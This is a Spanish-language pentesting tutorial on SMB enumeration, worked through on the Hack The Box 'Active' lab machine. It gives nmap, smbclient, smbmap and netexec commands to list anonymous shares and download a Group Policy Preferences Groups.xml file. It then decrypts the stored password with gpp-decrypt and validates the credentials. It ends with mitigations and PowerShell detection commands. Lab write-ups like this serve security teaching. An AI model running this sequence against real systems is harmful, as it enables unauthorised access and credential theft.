¿Qué es la Enumeración SMB?
Definición: La enumeración SMB (Server Message Block) es el proceso sistemático de recopilar información sobre recursos compartidos, usuarios y grupos en una red que utiliza el protocolo SMB. Implica identificar recursos disponibles como archivos, impresoras o dispositivos, así como obtener información sobre usuarios y permisos de acceso.
Características del Protocolo SMB:
- Puerto por defecto: TCP 445 (SMB sobre TCP/IP directo)
- Puerto legacy: TCP 139 (NetBIOS sobre TCP)
- Propósito: Compartición de archivos, impresoras y comunicación entre procesos
- Versiones: SMBv1 (vulnerable), SMBv2, SMBv3 (más seguras)
Importancia en Pentesting: La enumeración SMB es crítica para identificar puntos débiles, recursos expuestos y posibles vectores de ataque en entornos Windows y Samba.
Herramientas de Enumeración
Caso Práctico: HTB Active
- Sistema: Windows Server (Active Directory)
- Servicios expuestos: SMB (445/TCP), Kerberos (88/TCP)
- Objetivo: Enumerar recursos compartidos sin credenciales
- Resultado esperado: Acceso a archivos de configuración sensibles
Metodología de Enumeración:
Fase 1: Reconocimiento de Puertos
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.100 -oG allPorts
nmap -sCV -p445,88,135,139,389,636 10.10.10.100
Confirmamos que el puerto 445/TCP SMB está abierto junto con otros servicios típicos de AD.
Fase 2: Enumeración de Recursos Compartidos
# Listar shares con smbclient
smbclient -L 10.10.10.100 -N
# Verificar acceso con smbmap
smbmap -H 10.10.10.100
# Enumeración detallada con netexec
netexec smb 10.10.10.100 --shares
En el caso de HTB Active, identificamos un share llamado "Replication" con permisos de lectura disponibles sin autenticación.
Fase 3: Exploración del Share Vulnerable
# Exploración recursiva con smbmap
smbmap -H 10.10.10.100 -r Replication
# Conexión interactiva al share
smbclient //10.10.10.100/Replication -N
# Navegación programática
smbmap -H 10.10.10.100 -r Replication/active.htb/Policies
Fase 4: Descubrimiento y Extracción de Archivos
# Descarga de Group Policy Preferences (GPP)
smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/.../Groups.xml
# Conexión interactiva para descarga
smbclient //10.10.10.100/Replication -N
smb> cd active.htb\Policies\...
smb> get Groups.xml
Hallazgo crítico: El archivo Groups.xml contiene contraseñas cifradas con AES que pueden ser descifradas usando herramientas como gpp-decrypt.
Fase 5: Procesamiento de Información Extraída
# Analizar archivo Groups.xml
cat Groups.xml | grep -i password
# Descifrar password de GPP
gpp-decrypt "cifrado_encontrado_en_xml"
# Validar credenciales obtenidas
netexec smb 10.10.10.100 -u 'usuario' -p 'password_descifrado'
Técnicas Avanzadas y Mitigaciones
Técnicas de Enumeración Avanzada
- RID Cycling: Enumeración de usuarios mediante fuerza bruta de RIDs
- Pipe enumeration: Listado de named pipes disponibles
- Session enumeration: Identificación de sesiones activas
- Share ACL analysis: Análisis detallado de permisos NTFS
Contramedidas Defensivas
Recomendaciones de seguridad:
- Deshabilitar SMBv1: Usar solo versiones seguras del protocolo
- Null sessions: Configurar "RestrictAnonymous" en el registro
- Share permissions: Implementar principio de menor privilegio
- GPP cleanup: Eliminar Group Policy Preferences con passwords
- Network segmentation: Limitar acceso SMB entre subredes
- Auditing: Monitorear accesos SMB sospechosos
Detección y Monitoreo
# Verificar configuración de anonymous access
Get-SmbServerConfiguration | Select RequireSecuritySignature,EnableSMB*
# Listar shares y permisos
Get-SmbShare | Get-SmbShareAccess
# Monitorear conexiones SMB activas
Get-SmbSession
Consideraciones Éticas y Legales
Advertencia Legal: Este contenido es exclusivamente educativo. Aplica estas técnicas únicamente en sistemas propios, entornos de laboratorio controlados o con autorización explícita por escrito del propietario del sistema.